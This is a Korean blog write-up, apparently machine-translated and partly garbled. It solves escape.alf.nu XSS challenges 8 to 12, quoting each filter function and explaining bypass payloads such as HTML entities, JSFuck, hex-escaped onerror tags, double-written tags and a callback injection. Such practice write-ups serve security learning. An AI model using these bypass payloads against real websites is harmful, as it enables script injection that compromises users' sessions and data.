escape. alf. nu XSS Challenges 8 - 15 의 진급 XSS
13899 단어 xss
저번 에 챌 린 지 얘 기 했 어 요. 0 - 7. http://blog.csdn.net/u012763794/article/details/51507593제 것 은 다른 사람 것 보다 좀 더 상세 하 겠 죠. 사실 이것 은 일정한 xss 실천 이 필요 합 니 다.
잔말 말고 바로 도전 하 세 요.
challenge 8
function escape(s) {
// Courtesy of Skandiabanken
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
여 기 는 저희 가 입력 한 것 을 대문자 로 바 꿨 습 니 다.그럼 html 실체 문 자 를 시험 해 보 겠 습 니 다. 바로 & \ # 뒤에 10 진 ascii 를 추가 합 니 다. 양보 해도 16 진 입 니 다. 예 를 들 어 & \ # x61, 뒤에 x 를 추가 하면 됩 니 다.
저 희 는 영어 만 바 꾸 면 돼 요.
alert ------>
alert
html 실체 문자 이기 때문에 html 요소 에서 만 유효 합 니 다. img 태그 에 놓 아 보 겠 습 니 다.
그리고 html 는 대소 문자 에 민감 하지 않 습 니 다. 대소 문자 라 는 뜻 은 같 습 니 다.
잘 닫 으 면 돼, 부족 한 건 좀 길 어.
payload:
그리고 다른 payload 와 개조.
물론 자신의 서버 에 js 파일 을 놓 을 수 있 습 니 다. 파일 내용: alert (1);
짧 은 도 메 인 이름 이 있 으 면 문자 길이 가 더 짧 아 지고 짧 은 링크 도 짧 지 않 을 것 입 니 다.
challenge 9
function escape(s) {
// This is sort of a spoiler for the last level :-)
if (/[\\<>]/.test(s)) return '-';
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
여기 서 실천 을 거 쳐 \, <, 와 > 가 일치 하면 바로 '-' 로 돌아 갑 니 다.대문자 로 입력 할 수도 없고, <, alert 를 바 꿀 수도 없 나 요?
해 봤 어 요.
ctf 는 jsfuck, 암호 화 사 이 트 를 자주 볼 수 있 을 것 입 니 다.http://www.jsfuck.com/
이 글자 가 좀 많아 요.
앞서 프 리 버 프 에서 도 알파벳 을 쓰 지 않 는 js 암호 화 변환 을 보고 기억 하고 쓰 세 요.
challenge 10
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x;
});
}
function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function(_, n) {
return htmlEscape(args[n]);
});
}
return expandTemplate(
"
\
<h2>Hello, <span id=name></span>!</h2>
\
<script>
\
var v = document.getElementById('name');
\
v.innerHTML = '<a href=#>{name}</a>';
\
<\/script>
\
",
{ name : s }
);
}
우선 마지막 return 을 보고 expandTemplate 함수 로 html 요 소 를 처리 하 며 expandTemplate 에 html Escape 를 호출 하 였 습 니 다.expandTemplate 함 수 는 아무 소 용이 없 을 것 같 습 니 다. 아 시 는 신 이 알려 주세요.
html Escape 쌍 따옴표, & <, > 는 모두 html 실체 문자 로 바 뀌 었 으 나 여과 되 지 않 았 습 니 다 \ 전의 자
그럼 16 진법 으로 해 봅 시다.
payload: \x3cimg src = 123 onerror = alert (1) / / \ x3c 는 번호 보다 작은 16 진법 입 니 다.
js 가 문자열 을 처리 할 때 16 진 을 문자 로 바 꾸 는 것 을 볼 수 있 습 니 다.
기타 payload, \ x3e 는 16 진수 이상 입 니 다.
\x3cimg src=123 onerror=alert(1)\x3e
\ x3csvg onload = alert (1) / svg html 5 캔버스 요 소 죠?
challenge 11
function escape(s) {
// Spoiler for level 2
s = JSON.stringify(s).replace(/<\/script/gi, '');
return '<script>console.log(' + s + ');</script>';
}
stringify 는 의 미 를 바 꿀 수 있 습 니 다. "뒤의 replace 는 < / script 을 빈 문자 로 바 꾸 고 g 는 전역 모드 입 니 다. 처음부터 끝까지 검색 하 는 것 입 니 다. 얼마 가 있 든 i 는 대소 문 자 를 무시 합 니 다.sql 주입 중 빈 것 으로 바 꾸 면 더 블 로 쓰 면 됩 니 다.
payload:
물론 더 블 쓰 기 는 마음대로 할 수 있 습 니 다.
.............................................................
challenge 12
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);
if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json +")</script>";
}
var thing = s. split (/ # /) 는 \ # 로 두 부분 을 나 누 어 입력 합 니 다.
if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
\ # 번호 왼쪽 에 있 는 것 은 대소 문자 와 좌우 괄호 만 입력 할 수 있 습 니 다.
var json = JSON.stringify(obj).replace(/\//g, '\\/');
"의 미 를 바 꿉 니 다." 뒤의 replace 는 \ \ / 로 바 뀌 었 습 니 다. 사실은 \ / 로 바 뀌 었 습 니 다.
원래 html 주석 도 괜 찮 습 니 다. 그러면 간단 합 니 다.
작은 따옴표
payload: '#';alert(1);
마지막 으로 코드 생 성: < script > console. log ("") < / script > < script > console. log (") /;alert(1)//--> ") < / script >, 로 컬 로 복사
중간 을 콘 솔 에 두 드 려 요.
console.log(" ")
간단하게 말하자면, console. log ("") 입 니 다. < /script>
console 작은 번호 /정규 표현 식 /; alert(1)
그래서 문법 적 으로 맞아요.
사실 두 문장 이에 요.
됐 습 니 다. 저 와 소통 하 는 걸 환영 합 니 다.
본문 링크:http://blog.csdn.net/u012763794/article/details/51526725
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
ZOZOTOWN에 있던 XSS(2018년 10월) 라고 이웃의 고양이가 말했다. 아래와 같은 URL로 XSS가 생겼다. 화상↑의 XSS는 이하와 같은 느낌으로 생겼다. 로그인중에 밟으면 강제탈퇴할 수 있던 XSS↓ 과 의 차이로 크로스 도메인 ...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.